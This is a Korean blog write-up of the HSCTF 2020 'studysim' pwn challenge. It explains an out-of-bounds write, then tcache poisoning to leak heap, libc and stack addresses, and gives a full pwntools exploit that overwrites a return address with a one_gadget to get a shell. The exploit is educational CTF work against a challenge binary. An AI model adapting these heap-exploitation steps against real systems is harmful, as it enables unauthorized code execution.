일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 문자열 처리
- 다이나믹 프로그래밍
- 브루트 포스
- 이분 탐색
- BFS
- 분할 정복
- 스위핑 알고리즘
- syscall
- DFS
- 포맷스트링버그
- 투 포인터
- off by one
- 이진 탐색
- ROP
- fsb
- RTL
- House of Orange
- heap
- OOB
- 이진트리
- 스택
- tcache
- 동적 계획법
- 수학
- BOF
- 연결리스트
- 완전 탐색
- 백트래킹
- 큐
- 에라토스테네스의 체
Archives
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
HSCTF 2020 - studysim 본문
재밌는 문제였다.
2등을 한 문제.
( 만약에 잠 안잤으면 퍼블 먹었을 듯 TT )
다만 현재 Ubuntu 19.04가 날라가서 코드만 가지고 있는 상태이다.
그래서 우분투 화면은 찍지는 못했는데 일단 익스 코드만 올려둔다.
취약점은 OOB가 되겠다.( OOB arbitrary write ? )
우리가 할당하는 위치를 조절할 수 있기 때문에 allocated_count < 0으로 조작해서 stack[allocated_count]의 위치가 &allocated_count가 되게 만들어 준다음 할당을 시도하면
allocated_count에 heap address가 남게 되서 heap leak이 가능해진다.
그리고 tcache bins의 0x3f0 위치에 arbitray write를 통해 bss_stdout - 0x10주소를 주고 0x400 malloc을 통해 leak을 했다.
그 다음부터 여러가지 삽질을 하는 과정에서 난 stack의 RET을 덮어주는 방법을 선택했는데
19.04가 보호기법이 탄탄해서 이것저것 다 해봤는데 잘 안되더라..
새롭게 알게 된게 one_gadget 조건마저 깐깐해졌더라...!
결국 RET덮는거로 선택.
따라서 stack의 주소를 얻기위해 libc_environ의 값을 읽어냈고, 그것을 바탕으로 new_worksheet의 RET위치를 알아내서 덮었다.
from pwn import *
server = 0
if server:
p = remote("pwn.hsctf.com", 5007)
t = 0.2
else:
p = process("./studysim")
t = 0.05
BSS_STACK = 0x0000000000404060
def choice(command):
p.sendlineafter("> ", str(command))
sleep(t)
def ADD(size, data):
choice("add")
p.sendlineafter("worksheet?\n", str(size))
sleep(t)
p.sendlineafter("worksheet?\n", str(data))
sleep(t)
def DO(offset):
choice("do")
p.sendlineafter("?\n", str(offset))
sleep(t)
# move allocated_count position
DO(4)
# make heap_address on allocated_count
ADD(0x10, 'A'*8)
# heap leak!
DO(0)
p.recvuntil("Only ")
heap_leak = int(p.recvuntil(" ", drop=True))
heap_base = heap_leak - 0x261
print "heap_leak : " + hex(heap_leak)
print "heap_base : " + hex(heap_base)
offset = (heap_base - BSS_STACK)//0x8
print "offset : " + hex(offset)
# set allocated_count -> tcache bins(0x400)
DO(heap_leak-(offset+(0x240//8)))
# set tcache bins(0x400) -> stdout-0x10
ADD(0x30, p64(BSS_STACK-0x50)+p64(0x410))
ADD(0x3f0, 'dummy')
# stdout leak!
ADD(0x3f0, 'A'*0x10)
"""
0x404010: 0x4141414141414141 0x4141414141414141
0x404020 <stdout@@GLIBC_2.2.5>: 0x00007ffff7fb3760 0x0000000000000000
0x404030 <stdin@@GLIBC_2.2.5>: 0x00007ffff7fb2a00 0x0000000000000000
"""
p.recvuntil("A"*0x10)
stdout = u64(p.recv(6).ljust(8,'\x00'))
libc_base = stdout - 0x1e5760
one = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
"""
0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
one_gadget = libc_base + one[3]
environ = libc_base + 0x1e7d60
print "stdout : " + hex(stdout)
print "libc_base : " + hex(libc_base)
print "one_gadget : " + hex(one_gadget)
print "environ : " + hex(environ)
# set allocated_count -> tcache bins(0x400)
DO(3)
# set 0x400 -> environ-0x10
ADD(0x30, p64(environ-0x10))
ADD(0x3f0, 'dummy')
# environ leak!
ADD(0x3f0, "A"*0x10)
p.recvuntil("A"*0x10)
stack_leak = u64(p.recv(6).ljust(8,'\x00'))
print "stack_leak : " + hex(stack_leak)
# set allocated_count -> tcache bins(0x400)
DO(3)
# set tcache bins(0x400) -> stack_leak-0x120
# (stack_leak - 0x120) is RET of 'new_worksheet' function
# so we overlap RET to one_gadget with a lot of NULL[rsp+0x70 == NULL]
# In this case, canary in (stack_leak - 0x130), so we don't edit canary
ADD(0x30, p64(stack_leak-0x120))
ADD(0x3f0, 'dummy')
# overlap RET and Get Shell !!
pay = ''
pay += p64(one_gadget)
pay += p64(0)*0x30 # [rsp+0x70 == NULL]
ADD(0x3f0, pay)
p.interactive()
'write-up > pwnable' 카테고리의 다른 글
ASISctf 2020 Quals - fullprotection (0) | 2020.07.06 |
---|---|
HSCTF 2020 - got it (0) | 2020.06.09 |
Defenit 2020 - errorprogram (0) | 2020.06.09 |
pwn2win 2020 - tukro (0) | 2020.06.03 |
SuSeC CTF 2020 - unary (0) | 2020.03.16 |
Comments